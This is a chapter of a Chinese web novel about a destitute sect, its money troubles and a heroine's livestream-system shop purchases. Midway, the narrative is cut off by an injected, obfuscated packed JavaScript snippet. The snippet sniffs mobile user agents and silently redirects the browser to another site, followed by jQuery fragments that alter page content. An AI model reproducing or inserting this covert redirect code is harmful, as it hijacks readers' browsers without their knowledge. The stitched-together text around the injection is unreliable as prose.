流尘峰的内部问题解决了，外部问题仍然顽固。四人一鸡围坐桌边，开始一个个掏腰包。


    赵追琢将自己打了两个补丁的芥子袋倒过来抖抖，只抖出两颗灵石。


    洛令闻的芥子袋也打着补丁，但比赵追琢的绣花样式更精致。他不假思索道：“还有二十颗灵石，堪堪够峰里四天的伙食。”


    二师兄作为四人一鸡中文化水平最高的人，负责掌管一峰的账务。杜知津感叹，也难为他拿着这点钱都能张罗出一日三餐，换成她一家人早就喝西北风了。


    接下来轮到池羽，众人对他不抱什么希望，他也不负众望的一个子也没有。


    他面露赧色，局促地抬起手，在发间随意挠了几下：“嘿嘿，前两天玉衡和开阳找我喝酒，一不小心就......”


    “但是、但是来财有钱！”为避免被说教，池羽高高举起来财，转移话题，“我昨天看到的，它藏了好几枚鸡蛋呢！”


    “咯咯哒！”私房孩暴露，来财愤而飞起，怒啄池羽。


    杜知津摇头望天。


    整个师门最有钱的居然是一只鸡，流尘峰的未来一眼望得到头。


    蜡烛所剩无几，为了节省烛火钱，洛令闻催促他们回屋睡觉。临走前，他单独叫住杜知津：“师妹。”


    杜知津还生他的气，并不想开口喊他师兄，只道：“有事？”


    他微抿着唇，似在思忖言辞，紧接着，轻声开口：“抱歉。”


    杜知津脚步一停。


    她盯着脚下坑坑洼洼的地板，踢走一粒石子：“那些话真的很难听，不是你一句抱歉能弥补的。”


    起码、起码要两句吧。


    “嗯，我知道。”见她愿意搭话，洛令闻垂睫，想，一切都还有转圜的余地。


    夜风拂面，才还因情绪剧烈翻涌而胀痛的脑袋渐渐冷静下来，混沌的思绪也逐渐清晰。杜知津深深地吸了一口气，转过身直视他，缓缓道：“二师兄，倘若不是因为大师姐，或许此刻我已如你所愿，离开流尘峰奔了好去处。你以为自己做出了一个既残忍却又正确的决定，甚至甘愿背负骂名，扮作恶人。可你当真从未想过，这世间或许还有别的法子？而你所执意选择的这条路，会不会其实是最极端最无效的呢？”


    “我不知道你从前经历过什么，但我希望从此往后，在你做出任何决策之前能先问问我们的意见。”


    “流尘峰不只有你一个人，不需要你独自承担或面对。”


    “...好。”洛令闻低下头，衣袂在夜风里飘摇，如一朵枝头将落未落的残花。杜知津摆摆手，正欲离开，再次被他喊住。


    “明日你别再去药田了。”


    她猛地回头，不可置信道：“你还要赶我走？”


    他一愣，连忙解释：“并不。明日剑岭的学堂开课，你该去学堂了。”


    闻言，杜知津提起来的心又放回去，不过仍然疑惑：“可昭华峰的债......”“这些本与你无关。再说，如今剑岭的年轻弟子大多都在学堂开蒙，怎能让你例外？”


    总之，这个学她非上不可。


    杜知津内心早已泪流满面。


    好不容易大学毕业，怎么穿越了还要上学啊！


    ————


    这晚，她翻来覆去睡不着，脑子里一会是一百万灵石的欠款，一会是她不在后大师姐被累弯的腰，一会是堪比高考强度的剑岭学堂。


    横竖睡不着，她索性爬起来刷手机，赚加班费。


    030虽说是学姐特意给她留下的“新手教程”，但毕竟是公司的正式员工，不可能时时待在身边，最近只有每天中午和傍晚在线。所以现在杜知津只得独自工作，边看手机边记下缺陷和优化方向。


    可别小瞧古人的智慧，节目效果没比现代人差多少。她还保持着大学时的阴间作息，鸡鸣一声，才恍觉已经过了零点。


    “叮，恭喜您入职达到：四天，成功激活直播商城。”


    商城？


    杜知津顿时来劲了。按照她阅文无数的经验，系统商城往往是穿越者最大的金手指，有各种各样先进的种子、武器、药品甚至还有异能，难道狗公司终于肯发福利了？


    她迫不及待点开新出现的“商城”图标，里面果然琳琅满目。


    怀着激动的心情一页一页看过去，有亩产一千公斤的粮食种子、有现代杀伤力极大的热武器、有囊括各个领域的医疗器械......异能倒是没有，但有能够强身健体的“营养液”，上面密密麻麻写着各种功效。在杜知津看来，喝上一口和被蜘蛛叮一下没什么区别。


    这可真是个好东西，尤其在她存款多多的情况下，更是瞌睡遇上枕头。


    她锁定了一个化学产品，说明书长长一串，杜知津用自己仅剩的理科知识翻译了一下，这不就是点石成金嘛。


    虽然价格贵了点，足足要九十九万九千九百九十九，但金价多贵呀？而且黄金可是硬通货，横竖她不亏！


    就在她美滋滋准备暴富的时候，系统界面全显示，“账户余额不足”。


    杜知津懵了。她银行卡里不是有钱吗？就算狗公司要手续费，她之前还攒了小一万呢，总不能全给她昧了吧？！


    她不死心又点一次“购买”，依旧显示“余额不足”。这下人彻底慌了，连忙检查支O宝，之前给大师姐氪金的纪录还在呢，她确定以及肯定自己的钱没有不翼而飞。


    这就奇怪了，账户里明明有钱啊......等等，你这个账户，说的是哪个账户？


    杜知津重新打开“宇宙直播”，点击“我的账户”，里面空空如也。


    她气笑了。


    原来是直播收入账户啊...狗公司你还能再狗一点吗？


    然后“宇宙直播”用行动表明，它还真能再狗一点。杜知津寻思着她用小号直播，然后大号刷礼物不就成了吗？可惜资本家还是资本家，根本不给她钻空子的机会，注册用的都不是“实名认证”，是“灵魂认证”。


    杜知津屈服了，杜知津不服。她从关注列表里点进“如玉追琢”的直播间，意料之中地看到一片漆黑。


    那边赵追琢甚至没念完她斥巨资十元改的新名字，就被各种礼物特效砸昏了头：“欢迎老实的农村.


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15182858|165359||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ..这、这些是何物？”


    地雷、手榴弹、火箭炮、浅水炸弹、深水鱼雷的特效铺天盖地，把直播间炸出一个又一个坑。赵追琢惊疑不定地低下头，确定地面没有真的被炸出坑后，微不可闻地松了一口气。


    随着“老实的农村人”一番不要钱似的砸钱，“如玉追琢”直播间的排名一路猛涨，直奔前十。突然掉排名的主播们都惊了，今晚又不是什么大日子，哪位大神发力了？


    “宇宙直播”尚且处于测试阶段，主播和观众都少，愿意氪金的观众更是少之又少。是以，在这个平平无奇、唯一赚钱的擦边号还被封禁的夜晚，“如玉追琢”在开播的第十晚，荣登榜一。


    不止其他主播震惊了，连赵追琢自己都觉得不可思议。


    她做了什么吗？这位曾用名为“当壹当零不如当叁”，现名为“老实的农村人”的道友为何如此抬举她？除了至亲，应该无人如此热忱，可她的至亲又都穷困潦倒，断无这种财力。


    就在大师姐百思不得其解的时候，“老实的农村人”发来一条弹幕：主播，你能打开直播商城吗？


    赵追琢点头：“能，需要我进入珍宝阁吗？”


    原来在师姐那里，商城等于珍宝阁啊......杜知津继续发弹幕：对，然后搜索#877018。


    这是“点石成金”的代码。


    赵追琢照做，眼前跳出系统弹窗：“正在...开发中？”


    杜知津：她、就、知、道。


    两边的商城估计不同步，而宇宙直播的宗旨是，管你有钱没钱，统统买不到。“点石成金”就像吊在驴眼前的胡萝卜，诱惑着无数人跳进陷阱。还好刚才她没有过于冲动，氪了一万就停下来。


    这一夜大起大落，杜知津身心俱疲，听到赵追琢说珍宝阁里有且仅有一些“器岭产物”后就匆匆下线，梦会周公去也。


    徒留赵追琢，再次孤零零地守着那仅有她一人的直播间。


    她望着虚空右上角重新归零的观众人数，向这位来去如风的神秘客人道别。


    “后会有期。”


    ————


    次日，杜知津被池羽的大嗓门吵醒。


    “师妹！师妹你快出来看哇！”


    拢共睡了没多久，她顶着浓浓的黑眼圈，杀气腾腾地往外走。


    于燕燕你最好有事！


    池羽见她出来，浑然未觉她眼底的杀意，兴奋地分享：“快快快！大师姐捡到了好东西！”说着，半推半拽地把她带到院里。


    流尘峰不算小的院子今日却莫名有些拥挤。众人齐聚，洛令闻表现得三分震惊三分恐惧四分怀疑，池羽五分疑惑五分高兴，来财九分应激一分好奇，赵追琢...赵追琢十分心虚。


    “噔噔蹬蹬！这就是大师姐昨晚捡到的好东西，乌金拓耕车！”


    什么东西？乌金拓耕车？


    杜知津抬头看去，在目睹庞然大物的真容后，她的眼睛瞪得比铜铃还大。


    这哪里是什么乌金拓耕车？这分明是、分明就是拖拉机！


    右下角还刻着MadeinChina！